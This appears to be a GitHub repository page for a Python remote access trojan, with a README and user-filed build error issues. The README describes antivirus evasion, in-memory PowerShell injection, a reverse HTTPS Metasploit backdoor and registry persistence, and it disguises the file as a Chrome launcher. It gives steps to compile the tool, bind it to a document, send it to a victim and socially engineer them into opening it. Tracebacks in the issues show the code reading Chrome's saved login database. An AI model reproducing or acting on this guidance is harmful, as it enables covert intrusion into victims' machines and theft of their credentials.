0xislamtaha / python-rootkit

Python Remote Administration Tool (RAT) to gain meterpreter session

python-rootkit

This is a full undetectable python RAT which can bypass almost all antivirus and open a backdoor inside any windows machine which will establish a reverse https Metasploit connection to your listening machine.

ViRu5 life cycle

• Bypass all anti-virus.
• Inject a malicius powershell script into memory.
• Establish a reverse https connection to attacker machine.
• Check every 10 seconds and make sure that the connection is still exist, If not it will re-establish a new connection.
• Add a startup register key to re-connect to attacker after reboot.

Steps

• Update viRu5/source.py parameters with your lhost and lport
• Change source.py name to GoogleChromeAutoLaunch.py
• Add GoogleChromeAutoLaunch.py, setup.py and your icon as icon.ico to c:\python27 dir
• From cmd do

  cd c:\python27 && python setup.py py2exe

• Find the RAT file in Dist directiory.
• Blind it with any photo, pdf, word or any kind of files
• Send it to the victim
• Use your social engineer skills to make him open the files
• You will recieve a reverse https metasoplit connection :)

Testing on

• Windows 7 x64/x86
• Widowns 8
• Windows 8.1 x64/x86
• Windows 10 x64/x86

Thanks

Thanks for every security researcher how spend a time to help people and make the community more powerful. Thanks for powerShellEmpire guys.

Disclaimer

This is for Educational purposes ONLY. First of all, this code aims to alarm people about security issues infected unpatched machines.

python-rootkit's Issues

I cant find Dist dir

Dist dir doesn't exist in the files

Various errors when executed.

Executed on Windows 7 - 32-bit.

Following errors are:

Traceback (most recent call last):
File "GoogleChromeAutoLaunch.py", line 103, in
File "GoogleChromeAutoLaunch.py", line 33, in fire
File "GoogleChromeAutoLaunch.py", line 62, in get_noip_ip_address
socket.gaierror: [Errno 11004] getaddrinfo failed

Unicode error

Hi,
Try to convert the py source to exe using py2exe, with py3.10:
running py2exe
Traceback (most recent call last):
File "C:\Python310*setup.py*", line 51, in
setup(
File "C:\Python310\lib\site-packages\setuptools_init_.py", line 153, in set
up
return distutils.core.setup(**attrs)
File "C:\Python310\lib\distutils\core.py", line 148, in setup
dist.run_commands()
File "C:\Python310\lib\distutils\dist.py", line 966, in run_commands
self.run_command(cmd)
File "C:\Python310\lib\distutils\dist.py", line 985, in run_command
cmd_obj.run()
File "C:\Python310\lib\site-packages\py2exe\distutils_buildexe.py", line 204,
in run
self._run()
File "C:\Python310\lib\site-packages\py2exe\distutils_buildexe.py", line 284,
in _run
builder.analyze()
File "C:\Python310\lib\site-packages\py2exe\runtime.py", line 185, in analyze
target.analyze(mf)
File "C:\Python310\lib\site-packages\py2exe\runtime.py", line 84, in analyze
modulefinder.run_script(self.script)
File "C:\Python310\lib\site-packages\py2exe\vendor\modulefinder.py", line 201,
in run_script
self.load_module('main', fp, pathname, stuff)
File "C:\Python310\lib\site-packages\py2exe\vendor\modulefinder.py", line 394,
in load_module
co = compile(fp.read(), m.dest_file, 'exec', optimize=self._optimize)
File "main.pyc", line 71
path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in positio
n 7-8: truncated \UXXXXXXXX escape

After running python setup.py py2exe i get error

after running python setup.py py2exe I get:

running py2exe
C:\python27\setup.py:46: DeprecationWarning:
The setup.py py2exe command line interface is deprecated and
will be removed in the next major release.

Please adapt your code to use the new py2exe.freeze API.

Further information can be found at
https://github.com/py2exe/py2exe/blob/master/README.md

setup(
running build_py
Traceback (most recent call last):
File "C:\python27\setup.py", line 46, in
setup(
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.2800.0_x64__qbz5n2kfra8p0\lib\site-packages\setuptools_distutils\core.py", line 185, in setup
return run_commands(dist)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.2800.0_x64__qbz5n2kfra8p0\lib\site-packages\setuptools_distutils\core.py", line 201, in run_commands
dist.run_commands()
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.2800.0_x64__qbz5n2kfra8p0\lib\site-packages\setuptools_distutils\dist.py", line 968, in run_commands
self.run_command(cmd)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.2800.0_x64__qbz5n2kfra8p0\lib\site-packages\setuptools\dist.py", line 1217, in run_command
super().run_command(command)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.2800.0_x64__qbz5n2kfra8p0\lib\site-packages\setuptools_distutils\dist.py", line 987, in run_command
cmd_obj.run()
File "C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\py2exe\distutils_buildexe.py", line 204, in run
self._run()
File "C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\py2exe\distutils_buildexe.py", line 284, in _run
builder.analyze()
File "C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\py2exe\runtime.py", line 185, in analyze
target.analyze(mf)
File "C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\py2exe\runtime.py", line 84, in analyze
modulefinder.run_script(self.script)
File "C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\py2exe\vendor\modulefinder.py", line 201, in run_script
self.load_module('main', fp, pathname, stuff)
File "C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\py2exe\vendor\modulefinder.py", line 393, in load_module
co = compile(fp.read(), m.dest_file, 'exec', optimize=self._optimize)
File "main.pyc", line 71
path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 7-8: truncated \UXXXXXXXX escape

please fix this